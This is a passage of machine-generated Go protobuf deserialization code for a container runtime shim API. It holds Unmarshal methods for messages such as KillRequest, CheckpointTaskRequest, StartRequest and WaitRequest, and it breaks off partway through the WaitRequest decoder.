{ 4134 | return fmt.Errorf("proto: wrong wireType = %d for field Terminal", wireType) 4135 | } 4136 | var v int 4137 | for shift := uint(0); ; shift += 7 { 4138 | if shift >= 64 { 4139 | return ErrIntOverflowShim 4140 | } 4141 | if iNdEx >= l { 4142 | return io.ErrUnexpectedEOF 4143 | } 4144 | b := dAtA[iNdEx] 4145 | iNdEx++ 4146 | v |= int(b&0x7F) << shift 4147 | if b < 0x80 { 4148 | break 4149 | } 4150 | } 4151 | m.Terminal = bool(v != 0) 4152 | case 9: 4153 | if wireType != 0 { 4154 | return fmt.Errorf("proto: wrong wireType = %d for field ExitStatus", wireType) 4155 | } 4156 | m.ExitStatus = 0 4157 | for shift := uint(0); ; shift += 7 { 4158 | if shift >= 64 { 4159 | return ErrIntOverflowShim 4160 | } 4161 | if iNdEx >= l { 4162 | return io.ErrUnexpectedEOF 4163 | } 4164 | b := dAtA[iNdEx] 4165 | iNdEx++ 4166 | m.ExitStatus |= uint32(b&0x7F) << shift 4167 | if b < 0x80 { 4168 | break 4169 | } 4170 | } 4171 | case 10: 4172 | if wireType != 2 { 4173 | return fmt.Errorf("proto: wrong wireType = %d for field ExitedAt", wireType) 4174 | } 4175 | var msglen int 4176 | for shift := uint(0); ; shift += 7 { 4177 | if shift >= 64 { 4178 | return ErrIntOverflowShim 4179 | } 4180 | if iNdEx >= l { 4181 | return io.ErrUnexpectedEOF 4182 | } 4183 | b := dAtA[iNdEx] 4184 | iNdEx++ 4185 | msglen |= int(b&0x7F) << shift 4186 | if b < 0x80 { 4187 | break 4188 | } 4189 | } 4190 | if msglen < 0 { 4191 | return ErrInvalidLengthShim 4192 | } 4193 | postIndex := iNdEx + msglen 4194 | if postIndex < 0 { 4195 | return ErrInvalidLengthShim 4196 | } 4197 | if postIndex > l { 4198 | return io.ErrUnexpectedEOF 4199 | } 4200 | if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.ExitedAt, dAtA[iNdEx:postIndex]); err != nil { 4201 | return err 4202 | } 4203 | iNdEx = postIndex 4204 | default: 4205 | iNdEx = preIndex 4206 | skippy, err := skipShim(dAtA[iNdEx:]) 4207 | if err != nil { 4208 | return err 4209 | } 4210 | if skippy < 0 { 4211 | return ErrInvalidLengthShim 4212 | } 4213 | if (iNdEx + skippy) < 0 { 4214 | return ErrInvalidLengthShim 4215 | } 4216 | if (iNdEx + skippy) > l { 4217 | return io.ErrUnexpectedEOF 4218 | } 4219 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4220 | iNdEx += skippy 4221 | } 4222 | } 4223 | 4224 | if iNdEx > l { 4225 | return io.ErrUnexpectedEOF 4226 | } 4227 | return nil 4228 | } 4229 | func (m *KillRequest) Unmarshal(dAtA []byte) error { 4230 | l := len(dAtA) 4231 | iNdEx := 0 4232 | for iNdEx < l { 4233 | preIndex := iNdEx 4234 | var wire uint64 4235 | for shift := uint(0); ; shift += 7 { 4236 | if shift >= 64 { 4237 | return ErrIntOverflowShim 4238 | } 4239 | if iNdEx >= l { 4240 | return io.ErrUnexpectedEOF 4241 | } 4242 | b := dAtA[iNdEx] 4243 | iNdEx++ 4244 | wire |= uint64(b&0x7F) << shift 4245 | if b < 0x80 { 4246 | break 4247 | } 4248 | } 4249 | fieldNum := int32(wire >> 3) 4250 | wireType := int(wire & 0x7) 4251 | if wireType == 4 { 4252 | return fmt.Errorf("proto: KillRequest: wiretype end group for non-group") 4253 | } 4254 | if fieldNum <= 0 { 4255 | return fmt.Errorf("proto: KillRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4256 | } 4257 | switch fieldNum { 4258 | case 1: 4259 | if wireType != 2 { 4260 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4261 | } 4262 | var stringLen uint64 4263 | for shift := uint(0); ; shift += 7 { 4264 | if shift >= 64 { 4265 | return ErrIntOverflowShim 4266 | } 4267 | if iNdEx >= l { 4268 | return io.ErrUnexpectedEOF 4269 | } 4270 | b := dAtA[iNdEx] 4271 | iNdEx++ 4272 | stringLen |= uint64(b&0x7F) << shift 4273 | if b < 0x80 { 4274 | break 4275 | } 4276 | } 4277 | intStringLen := int(stringLen) 4278 | if intStringLen < 0 { 4279 | return ErrInvalidLengthShim 4280 | } 4281 | postIndex := iNdEx + intStringLen 4282 | if postIndex < 0 { 4283 | return ErrInvalidLengthShim 4284 | } 4285 | if postIndex > l { 4286 | return io.ErrUnexpectedEOF 4287 | } 4288 | m.ID = string(dAtA[iNdEx:postIndex]) 4289 | iNdEx = postIndex 4290 | case 2: 4291 | if wireType != 0 { 4292 | return fmt.Errorf("proto: wrong wireType = %d for field Signal", wireType) 4293 | } 4294 | m.Signal = 0 4295 | for shift := uint(0); ; shift += 7 { 4296 | if shift >= 64 { 4297 | return ErrIntOverflowShim 4298 | } 4299 | if iNdEx >= l { 4300 | return io.ErrUnexpectedEOF 4301 | } 4302 | b := dAtA[iNdEx] 4303 | iNdEx++ 4304 | m.Signal |= uint32(b&0x7F) << shift 4305 | if b < 0x80 { 4306 | break 4307 | } 4308 | } 4309 | case 3: 4310 | if wireType != 0 { 4311 | return fmt.Errorf("proto: wrong wireType = %d for field All", wireType) 4312 | } 4313 | var v int 4314 | for shift := uint(0); ; shift += 7 { 4315 | if shift >= 64 { 4316 | return ErrIntOverflowShim 4317 | } 4318 | if iNdEx >= l { 4319 | return io.ErrUnexpectedEOF 4320 | } 4321 | b := dAtA[iNdEx] 4322 | iNdEx++ 4323 | v |= int(b&0x7F) << shift 4324 | if b < 0x80 { 4325 | break 4326 | } 4327 | } 4328 | m.All = bool(v != 0) 4329 | default: 4330 | iNdEx = preIndex 4331 | skippy, err := skipShim(dAtA[iNdEx:]) 4332 | if err != nil { 4333 | return err 4334 | } 4335 | if skippy < 0 { 4336 | return ErrInvalidLengthShim 4337 | } 4338 | if (iNdEx + skippy) < 0 { 4339 | return ErrInvalidLengthShim 4340 | } 4341 | if (iNdEx + skippy) > l { 4342 | return io.ErrUnexpectedEOF 4343 | } 4344 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4345 | iNdEx += skippy 4346 | } 4347 | } 4348 | 4349 | if iNdEx > l { 4350 | return io.ErrUnexpectedEOF 4351 | } 4352 | return nil 4353 | } 4354 | func (m *CloseIORequest) Unmarshal(dAtA []byte) error { 4355 | l := len(dAtA) 4356 | iNdEx := 0 4357 | for iNdEx < l { 4358 | preIndex := iNdEx 4359 | var wire uint64 4360 | for shift := uint(0); ; shift += 7 { 4361 | if shift >= 64 { 4362 | return ErrIntOverflowShim 4363 | } 4364 | if iNdEx >= l { 4365 | return io.ErrUnexpectedEOF 4366 | } 4367 | b := dAtA[iNdEx] 4368 | iNdEx++ 4369 | wire |= uint64(b&0x7F) << shift 4370 | if b < 0x80 { 4371 | break 4372 | } 4373 | } 4374 | fieldNum := int32(wire >> 3) 4375 | wireType := int(wire & 0x7) 4376 | if wireType == 4 { 4377 | return fmt.Errorf("proto: CloseIORequest: wiretype end group for non-group") 4378 | } 4379 | if fieldNum <= 0 { 4380 | return fmt.Errorf("proto: CloseIORequest: illegal tag %d (wire type %d)", fieldNum, wire) 4381 | } 4382 | switch fieldNum { 4383 | case 1: 4384 | if wireType != 2 { 4385 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4386 | } 4387 | var stringLen uint64 4388 | for shift := uint(0); ; shift += 7 { 4389 | if shift >= 64 { 4390 | return ErrIntOverflowShim 4391 | } 4392 | if iNdEx >= l { 4393 | return io.ErrUnexpectedEOF 4394 | } 4395 | b := dAtA[iNdEx] 4396 | iNdEx++ 4397 | stringLen |= uint64(b&0x7F) << shift 4398 | if b < 0x80 { 4399 | break 4400 | } 4401 | } 4402 | intStringLen := int(stringLen) 4403 | if intStringLen < 0 { 4404 | return ErrInvalidLengthShim 4405 | } 4406 | postIndex := iNdEx + intStringLen 4407 | if postIndex < 0 { 4408 | return ErrInvalidLengthShim 4409 | } 4410 | if postIndex > l { 4411 | return io.ErrUnexpectedEOF 4412 | } 4413 | m.ID = string(dAtA[iNdEx:postIndex]) 4414 | iNdEx = postIndex 4415 | case 2: 4416 | if wireType != 0 { 4417 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 4418 | } 4419 | var v int 4420 | for shift := uint(0); ; shift += 7 { 4421 | if shift >= 64 { 4422 | return ErrIntOverflowShim 4423 | } 4424 | if iNdEx >= l { 4425 | return io.ErrUnexpectedEOF 4426 | } 4427 | b := dAtA[iNdEx] 4428 | iNdEx++ 4429 | v |= int(b&0x7F) << shift 4430 | if b < 0x80 { 4431 | break 4432 | } 4433 | } 4434 | m.Stdin = bool(v != 0) 4435 | default: 4436 | iNdEx = preIndex 4437 | skippy, err := skipShim(dAtA[iNdEx:]) 4438 | if err != nil { 4439 | return err 4440 | } 4441 | if skippy < 0 { 4442 | return ErrInvalidLengthShim 4443 | } 4444 | if (iNdEx + skippy) < 0 { 4445 | return ErrInvalidLengthShim 4446 | } 4447 | if (iNdEx + skippy) > l { 4448 | return io.ErrUnexpectedEOF 4449 | } 4450 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4451 | iNdEx += skippy 4452 | } 4453 | } 4454 | 4455 | if iNdEx > l { 4456 | return io.ErrUnexpectedEOF 4457 | } 4458 | return nil 4459 | } 4460 | func (m *ListPidsRequest) Unmarshal(dAtA []byte) error { 4461 | l := len(dAtA) 4462 | iNdEx := 0 4463 | for iNdEx < l { 4464 | preIndex := iNdEx 4465 | var wire uint64 4466 | for shift := uint(0); ; shift += 7 { 4467 | if shift >= 64 { 4468 | return ErrIntOverflowShim 4469 | } 4470 | if iNdEx >= l { 4471 | return io.ErrUnexpectedEOF 4472 | } 4473 | b := dAtA[iNdEx] 4474 | iNdEx++ 4475 | wire |= uint64(b&0x7F) << shift 4476 | if b < 0x80 { 4477 | break 4478 | } 4479 | } 4480 | fieldNum := int32(wire >> 3) 4481 | wireType := int(wire & 0x7) 4482 | if wireType == 4 { 4483 | return fmt.Errorf("proto: ListPidsRequest: wiretype end group for non-group") 4484 | } 4485 | if fieldNum <= 0 { 4486 | return fmt.Errorf("proto: ListPidsRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4487 | } 4488 | switch fieldNum { 4489 | case 1: 4490 | if wireType != 2 { 4491 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4492 | } 4493 | var stringLen uint64 4494 | for shift := uint(0); ; shift += 7 { 4495 | if shift >= 64 { 4496 | return ErrIntOverflowShim 4497 | } 4498 | if iNdEx >= l { 4499 | return io.ErrUnexpectedEOF 4500 | } 4501 | b := dAtA[iNdEx] 4502 | iNdEx++ 4503 | stringLen |= uint64(b&0x7F) << shift 4504 | if b < 0x80 { 4505 | break 4506 | } 4507 | } 4508 | intStringLen := int(stringLen) 4509 | if intStringLen < 0 { 4510 | return ErrInvalidLengthShim 4511 | } 4512 | postIndex := iNdEx + intStringLen 4513 | if postIndex < 0 { 4514 | return ErrInvalidLengthShim 4515 | } 4516 | if postIndex > l { 4517 | return io.ErrUnexpectedEOF 4518 | } 4519 | m.ID = string(dAtA[iNdEx:postIndex]) 4520 | iNdEx = postIndex 4521 | default: 4522 | iNdEx = preIndex 4523 | skippy, err := skipShim(dAtA[iNdEx:]) 4524 | if err != nil { 4525 | return err 4526 | } 4527 | if skippy < 0 { 4528 | return ErrInvalidLengthShim 4529 | } 4530 | if (iNdEx + skippy) < 0 { 4531 | return ErrInvalidLengthShim 4532 | } 4533 | if (iNdEx + skippy) > l { 4534 | return io.ErrUnexpectedEOF 4535 | } 4536 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4537 | iNdEx += skippy 4538 | } 4539 | } 4540 | 4541 | if iNdEx > l { 4542 | return io.ErrUnexpectedEOF 4543 | } 4544 | return nil 4545 | } 4546 | func (m *ListPidsResponse) Unmarshal(dAtA []byte) error { 4547 | l := len(dAtA) 4548 | iNdEx := 0 4549 | for iNdEx < l { 4550 | preIndex := iNdEx 4551 | var wire uint64 4552 | for shift := uint(0); ; shift += 7 { 4553 | if shift >= 64 { 4554 | return ErrIntOverflowShim 4555 | } 4556 | if iNdEx >= l { 4557 | return io.ErrUnexpectedEOF 4558 | } 4559 | b := dAtA[iNdEx] 4560 | iNdEx++ 4561 | wire |= uint64(b&0x7F) << shift 4562 | if b < 0x80 { 4563 | break 4564 | } 4565 | } 4566 | fieldNum := int32(wire >> 3) 4567 | wireType := int(wire & 0x7) 4568 | if wireType == 4 { 4569 | return fmt.Errorf("proto: ListPidsResponse: wiretype end group for non-group") 4570 | } 4571 | if fieldNum <= 0 { 4572 | return fmt.Errorf("proto: ListPidsResponse: illegal tag %d (wire type %d)", fieldNum, wire) 4573 | } 4574 | switch fieldNum { 4575 | case 1: 4576 | if wireType != 2 { 4577 | return fmt.Errorf("proto: wrong wireType = %d for field Processes", wireType) 4578 | } 4579 | var msglen int 4580 | for shift := uint(0); ; shift += 7 { 4581 | if shift >= 64 { 4582 | return ErrIntOverflowShim 4583 | } 4584 | if iNdEx >= l { 4585 | return io.ErrUnexpectedEOF 4586 | } 4587 | b := dAtA[iNdEx] 4588 | iNdEx++ 4589 | msglen |= int(b&0x7F) << shift 4590 | if b < 0x80 { 4591 | break 4592 | } 4593 | } 4594 | if msglen < 0 { 4595 | return ErrInvalidLengthShim 4596 | } 4597 | postIndex := iNdEx + msglen 4598 | if postIndex < 0 { 4599 | return ErrInvalidLengthShim 4600 | } 4601 | if postIndex > l { 4602 | return io.ErrUnexpectedEOF 4603 | } 4604 | m.Processes = append(m.Processes, &task.ProcessInfo{}) 4605 | if err := m.Processes[len(m.Processes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 4606 | return err 4607 | } 4608 | iNdEx = postIndex 4609 | default: 4610 | iNdEx = preIndex 4611 | skippy, err := skipShim(dAtA[iNdEx:]) 4612 | if err != nil { 4613 | return err 4614 | } 4615 | if skippy < 0 { 4616 | return ErrInvalidLengthShim 4617 | } 4618 | if (iNdEx + skippy) < 0 { 4619 | return ErrInvalidLengthShim 4620 | } 4621 | if (iNdEx + skippy) > l { 4622 | return io.ErrUnexpectedEOF 4623 | } 4624 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4625 | iNdEx += skippy 4626 | } 4627 | } 4628 | 4629 | if iNdEx > l { 4630 | return io.ErrUnexpectedEOF 4631 | } 4632 | return nil 4633 | } 4634 | func (m *CheckpointTaskRequest) Unmarshal(dAtA []byte) error { 4635 | l := len(dAtA) 4636 | iNdEx := 0 4637 | for iNdEx < l { 4638 | preIndex := iNdEx 4639 | var wire uint64 4640 | for shift := uint(0); ; shift += 7 { 4641 | if shift >= 64 { 4642 | return ErrIntOverflowShim 4643 | } 4644 | if iNdEx >= l { 4645 | return io.ErrUnexpectedEOF 4646 | } 4647 | b := dAtA[iNdEx] 4648 | iNdEx++ 4649 | wire |= uint64(b&0x7F) << shift 4650 | if b < 0x80 { 4651 | break 4652 | } 4653 | } 4654 | fieldNum := int32(wire >> 3) 4655 | wireType := int(wire & 0x7) 4656 | if wireType == 4 { 4657 | return fmt.Errorf("proto: CheckpointTaskRequest: wiretype end group for non-group") 4658 | } 4659 | if fieldNum <= 0 { 4660 | return fmt.Errorf("proto: CheckpointTaskRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4661 | } 4662 | switch fieldNum { 4663 | case 1: 4664 | if wireType != 2 { 4665 | return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) 4666 | } 4667 | var stringLen uint64 4668 | for shift := uint(0); ; shift += 7 { 4669 | if shift >= 64 { 4670 | return ErrIntOverflowShim 4671 | } 4672 | if iNdEx >= l { 4673 | return io.ErrUnexpectedEOF 4674 | } 4675 | b := dAtA[iNdEx] 4676 | iNdEx++ 4677 | stringLen |= uint64(b&0x7F) << shift 4678 | if b < 0x80 { 4679 | break 4680 | } 4681 | } 4682 | intStringLen := int(stringLen) 4683 | if intStringLen < 0 { 4684 | return ErrInvalidLengthShim 4685 | } 4686 | postIndex := iNdEx + intStringLen 4687 | if postIndex < 0 { 4688 | return ErrInvalidLengthShim 4689 | } 4690 | if postIndex > l { 4691 | return io.ErrUnexpectedEOF 4692 | } 4693 | m.Path = string(dAtA[iNdEx:postIndex]) 4694 | iNdEx = postIndex 4695 | case 2: 4696 | if wireType != 2 { 4697 | return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) 4698 | } 4699 | var msglen int 4700 | for shift := uint(0); ; shift += 7 { 4701 | if shift >= 64 { 4702 | return ErrIntOverflowShim 4703 | } 4704 | if iNdEx >= l { 4705 | return io.ErrUnexpectedEOF 4706 | } 4707 | b := dAtA[iNdEx] 4708 | iNdEx++ 4709 | msglen |= int(b&0x7F) << shift 4710 | if b < 0x80 { 4711 | break 4712 | } 4713 | } 4714 | if msglen < 0 { 4715 | return ErrInvalidLengthShim 4716 | } 4717 | postIndex := iNdEx + msglen 4718 | if postIndex < 0 { 4719 | return ErrInvalidLengthShim 4720 | } 4721 | if postIndex > l { 4722 | return io.ErrUnexpectedEOF 4723 | } 4724 | if m.Options == nil { 4725 | m.Options = &types1.Any{} 4726 | } 4727 | if err := m.Options.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 4728 | return err 4729 | } 4730 | iNdEx = postIndex 4731 | default: 4732 | iNdEx = preIndex 4733 | skippy, err := skipShim(dAtA[iNdEx:]) 4734 | if err != nil { 4735 | return err 4736 | } 4737 | if skippy < 0 { 4738 | return ErrInvalidLengthShim 4739 | } 4740 | if (iNdEx + skippy) < 0 { 4741 | return ErrInvalidLengthShim 4742 | } 4743 | if (iNdEx + skippy) > l { 4744 | return io.ErrUnexpectedEOF 4745 | } 4746 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4747 | iNdEx += skippy 4748 | } 4749 | } 4750 | 4751 | if iNdEx > l { 4752 | return io.ErrUnexpectedEOF 4753 | } 4754 | return nil 4755 | } 4756 | func (m *ShimInfoResponse) Unmarshal(dAtA []byte) error { 4757 | l := len(dAtA) 4758 | iNdEx := 0 4759 | for iNdEx < l { 4760 | preIndex := iNdEx 4761 | var wire uint64 4762 | for shift := uint(0); ; shift += 7 { 4763 | if shift >= 64 { 4764 | return ErrIntOverflowShim 4765 | } 4766 | if iNdEx >= l { 4767 | return io.ErrUnexpectedEOF 4768 | } 4769 | b := dAtA[iNdEx] 4770 | iNdEx++ 4771 | wire |= uint64(b&0x7F) << shift 4772 | if b < 0x80 { 4773 | break 4774 | } 4775 | } 4776 | fieldNum := int32(wire >> 3) 4777 | wireType := int(wire & 0x7) 4778 | if wireType == 4 { 4779 | return fmt.Errorf("proto: ShimInfoResponse: wiretype end group for non-group") 4780 | } 4781 | if fieldNum <= 0 { 4782 | return fmt.Errorf("proto: ShimInfoResponse: illegal tag %d (wire type %d)", fieldNum, wire) 4783 | } 4784 | switch fieldNum { 4785 | case 1: 4786 | if wireType != 0 { 4787 | return fmt.Errorf("proto: wrong wireType = %d for field ShimPid", wireType) 4788 | } 4789 | m.ShimPid = 0 4790 | for shift := uint(0); ; shift += 7 { 4791 | if shift >= 64 { 4792 | return ErrIntOverflowShim 4793 | } 4794 | if iNdEx >= l { 4795 | return io.ErrUnexpectedEOF 4796 | } 4797 | b := dAtA[iNdEx] 4798 | iNdEx++ 4799 | m.ShimPid |= uint32(b&0x7F) << shift 4800 | if b < 0x80 { 4801 | break 4802 | } 4803 | } 4804 | default: 4805 | iNdEx = preIndex 4806 | skippy, err := skipShim(dAtA[iNdEx:]) 4807 | if err != nil { 4808 | return err 4809 | } 4810 | if skippy < 0 { 4811 | return ErrInvalidLengthShim 4812 | } 4813 | if (iNdEx + skippy) < 0 { 4814 | return ErrInvalidLengthShim 4815 | } 4816 | if (iNdEx + skippy) > l { 4817 | return io.ErrUnexpectedEOF 4818 | } 4819 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4820 | iNdEx += skippy 4821 | } 4822 | } 4823 | 4824 | if iNdEx > l { 4825 | return io.ErrUnexpectedEOF 4826 | } 4827 | return nil 4828 | } 4829 | func (m *UpdateTaskRequest) Unmarshal(dAtA []byte) error { 4830 | l := len(dAtA) 4831 | iNdEx := 0 4832 | for iNdEx < l { 4833 | preIndex := iNdEx 4834 | var wire uint64 4835 | for shift := uint(0); ; shift += 7 { 4836 | if shift >= 64 { 4837 | return ErrIntOverflowShim 4838 | } 4839 | if iNdEx >= l { 4840 | return io.ErrUnexpectedEOF 4841 | } 4842 | b := dAtA[iNdEx] 4843 | iNdEx++ 4844 | wire |= uint64(b&0x7F) << shift 4845 | if b < 0x80 { 4846 | break 4847 | } 4848 | } 4849 | fieldNum := int32(wire >> 3) 4850 | wireType := int(wire & 0x7) 4851 | if wireType == 4 { 4852 | return fmt.Errorf("proto: UpdateTaskRequest: wiretype end group for non-group") 4853 | } 4854 | if fieldNum <= 0 { 4855 | return fmt.Errorf("proto: UpdateTaskRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4856 | } 4857 | switch fieldNum { 4858 | case 1: 4859 | if wireType != 2 { 4860 | return fmt.Errorf("proto: wrong wireType = %d for field Resources", wireType) 4861 | } 4862 | var msglen int 4863 | for shift := uint(0); ; shift += 7 { 4864 | if shift >= 64 { 4865 | return ErrIntOverflowShim 4866 | } 4867 | if iNdEx >= l { 4868 | return io.ErrUnexpectedEOF 4869 | } 4870 | b := dAtA[iNdEx] 4871 | iNdEx++ 4872 | msglen |= int(b&0x7F) << shift 4873 | if b < 0x80 { 4874 | break 4875 | } 4876 | } 4877 | if msglen < 0 { 4878 | return ErrInvalidLengthShim 4879 | } 4880 | postIndex := iNdEx + msglen 4881 | if postIndex < 0 { 4882 | return ErrInvalidLengthShim 4883 | } 4884 | if postIndex > l { 4885 | return io.ErrUnexpectedEOF 4886 | } 4887 | if m.Resources == nil { 4888 | m.Resources = &types1.Any{} 4889 | } 4890 | if err := m.Resources.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 4891 | return err 4892 | } 4893 | iNdEx = postIndex 4894 | default: 4895 | iNdEx = preIndex 4896 | skippy, err := skipShim(dAtA[iNdEx:]) 4897 | if err != nil { 4898 | return err 4899 | } 4900 | if skippy < 0 { 4901 | return ErrInvalidLengthShim 4902 | } 4903 | if (iNdEx + skippy) < 0 { 4904 | return ErrInvalidLengthShim 4905 | } 4906 | if (iNdEx + skippy) > l { 4907 | return io.ErrUnexpectedEOF 4908 | } 4909 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4910 | iNdEx += skippy 4911 | } 4912 | } 4913 | 4914 | if iNdEx > l { 4915 | return io.ErrUnexpectedEOF 4916 | } 4917 | return nil 4918 | } 4919 | func (m *StartRequest) Unmarshal(dAtA []byte) error { 4920 | l := len(dAtA) 4921 | iNdEx := 0 4922 | for iNdEx < l { 4923 | preIndex := iNdEx 4924 | var wire uint64 4925 | for shift := uint(0); ; shift += 7 { 4926 | if shift >= 64 { 4927 | return ErrIntOverflowShim 4928 | } 4929 | if iNdEx >= l { 4930 | return io.ErrUnexpectedEOF 4931 | } 4932 | b := dAtA[iNdEx] 4933 | iNdEx++ 4934 | wire |= uint64(b&0x7F) << shift 4935 | if b < 0x80 { 4936 | break 4937 | } 4938 | } 4939 | fieldNum := int32(wire >> 3) 4940 | wireType := int(wire & 0x7) 4941 | if wireType == 4 { 4942 | return fmt.Errorf("proto: StartRequest: wiretype end group for non-group") 4943 | } 4944 | if fieldNum <= 0 { 4945 | return fmt.Errorf("proto: StartRequest: illegal tag %d (wire type %d)", fieldNum, wire) 4946 | } 4947 | switch fieldNum { 4948 | case 1: 4949 | if wireType != 2 { 4950 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 4951 | } 4952 | var stringLen uint64 4953 | for shift := uint(0); ; shift += 7 { 4954 | if shift >= 64 { 4955 | return ErrIntOverflowShim 4956 | } 4957 | if iNdEx >= l { 4958 | return io.ErrUnexpectedEOF 4959 | } 4960 | b := dAtA[iNdEx] 4961 | iNdEx++ 4962 | stringLen |= uint64(b&0x7F) << shift 4963 | if b < 0x80 { 4964 | break 4965 | } 4966 | } 4967 | intStringLen := int(stringLen) 4968 | if intStringLen < 0 { 4969 | return ErrInvalidLengthShim 4970 | } 4971 | postIndex := iNdEx + intStringLen 4972 | if postIndex < 0 { 4973 | return ErrInvalidLengthShim 4974 | } 4975 | if postIndex > l { 4976 | return io.ErrUnexpectedEOF 4977 | } 4978 | m.ID = string(dAtA[iNdEx:postIndex]) 4979 | iNdEx = postIndex 4980 | default: 4981 | iNdEx = preIndex 4982 | skippy, err := skipShim(dAtA[iNdEx:]) 4983 | if err != nil { 4984 | return err 4985 | } 4986 | if skippy < 0 { 4987 | return ErrInvalidLengthShim 4988 | } 4989 | if (iNdEx + skippy) < 0 { 4990 | return ErrInvalidLengthShim 4991 | } 4992 | if (iNdEx + skippy) > l { 4993 | return io.ErrUnexpectedEOF 4994 | } 4995 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 4996 | iNdEx += skippy 4997 | } 4998 | } 4999 | 5000 | if iNdEx > l { 5001 | return io.ErrUnexpectedEOF 5002 | } 5003 | return nil 5004 | } 5005 | func (m *StartResponse) Unmarshal(dAtA []byte) error { 5006 | l := len(dAtA) 5007 | iNdEx := 0 5008 | for iNdEx < l { 5009 | preIndex := iNdEx 5010 | var wire uint64 5011 | for shift := uint(0); ; shift += 7 { 5012 | if shift >= 64 { 5013 | return ErrIntOverflowShim 5014 | } 5015 | if iNdEx >= l { 5016 | return io.ErrUnexpectedEOF 5017 | } 5018 | b := dAtA[iNdEx] 5019 | iNdEx++ 5020 | wire |= uint64(b&0x7F) << shift 5021 | if b < 0x80 { 5022 | break 5023 | } 5024 | } 5025 | fieldNum := int32(wire >> 3) 5026 | wireType := int(wire & 0x7) 5027 | if wireType == 4 { 5028 | return fmt.Errorf("proto: StartResponse: wiretype end group for non-group") 5029 | } 5030 | if fieldNum <= 0 { 5031 | return fmt.Errorf("proto: StartResponse: illegal tag %d (wire type %d)", fieldNum, wire) 5032 | } 5033 | switch fieldNum { 5034 | case 1: 5035 | if wireType != 2 { 5036 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 5037 | } 5038 | var stringLen uint64 5039 | for shift := uint(0); ; shift += 7 { 5040 | if shift >= 64 { 5041 | return ErrIntOverflowShim 5042 | } 5043 | if iNdEx >= l { 5044 | return io.ErrUnexpectedEOF 5045 | } 5046 | b := dAtA[iNdEx] 5047 | iNdEx++ 5048 | stringLen |= uint64(b&0x7F) << shift 5049 | if b < 0x80 { 5050 | break 5051 | } 5052 | } 5053 | intStringLen := int(stringLen) 5054 | if intStringLen < 0 { 5055 | return ErrInvalidLengthShim 5056 | } 5057 | postIndex := iNdEx + intStringLen 5058 | if postIndex < 0 { 5059 | return ErrInvalidLengthShim 5060 | } 5061 | if postIndex > l { 5062 | return io.ErrUnexpectedEOF 5063 | } 5064 | m.ID = string(dAtA[iNdEx:postIndex]) 5065 | iNdEx = postIndex 5066 | case 2: 5067 | if wireType != 0 { 5068 | return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) 5069 | } 5070 | m.Pid = 0 5071 | for shift := uint(0); ; shift += 7 { 5072 | if shift >= 64 { 5073 | return ErrIntOverflowShim 5074 | } 5075 | if iNdEx >= l { 5076 | return io.ErrUnexpectedEOF 5077 | } 5078 | b := dAtA[iNdEx] 5079 | iNdEx++ 5080 | m.Pid |= uint32(b&0x7F) << shift 5081 | if b < 0x80 { 5082 | break 5083 | } 5084 | } 5085 | default: 5086 | iNdEx = preIndex 5087 | skippy, err := skipShim(dAtA[iNdEx:]) 5088 | if err != nil { 5089 | return err 5090 | } 5091 | if skippy < 0 { 5092 | return ErrInvalidLengthShim 5093 | } 5094 | if (iNdEx + skippy) < 0 { 5095 | return ErrInvalidLengthShim 5096 | } 5097 | if (iNdEx + skippy) > l { 5098 | return io.ErrUnexpectedEOF 5099 | } 5100 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 5101 | iNdEx += skippy 5102 | } 5103 | } 5104 | 5105 | if iNdEx > l { 5106 | return io.ErrUnexpectedEOF 5107 | } 5108 | return nil 5109 | } 5110 | func (m *WaitRequest) Unmarshal(dAtA []byte) error { 5111 | l := len(dAtA) 5112 | iNdEx := 0 5113 | for iNdEx < l { 5114 | preIndex := iNdEx 5115 | var wire uint64 5116 | for shift := uint(0); ; shift += 7 { 5117 | if shift >= 64 { 5118 | return ErrIntOverflowShim 5119 | } 5120 | if iNdEx >= l { 5121 | return io.ErrUnexpectedEOF 5122 | } 5123 | b := dAtA[iNdEx] 5124 | iNdEx++ 5125 | wire |= uint64(b&0x7F) << shift 5126 | if b < 0x80 { 5127 | break 5128 | } 5129 | } 5130 | fieldNum := int32(wire >> 3) 5131 | wireType := int(wire & 0x7) 5132 | if wireType == 4 { 5133 | return fmt.Errorf("proto: WaitRequest: wiretype end group for non-group") 5134 | } 5135 | if fieldNum <= 0 { 5136 | return fmt.Errorf("proto: WaitRequest: illegal tag %d (wire type %d)", fieldNum, wire) 5137 | } 5138 | switch fieldNum { 5139 | case 1: 5140 | if wireType != 2 { 5141 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 5142 | } 5143 | var stringLen uint64 5144 | for shift := uint(0); ; shift += 7 { 5145 | if shift >= 64 { 5146 | return ErrIntOverflowShim 5147 | 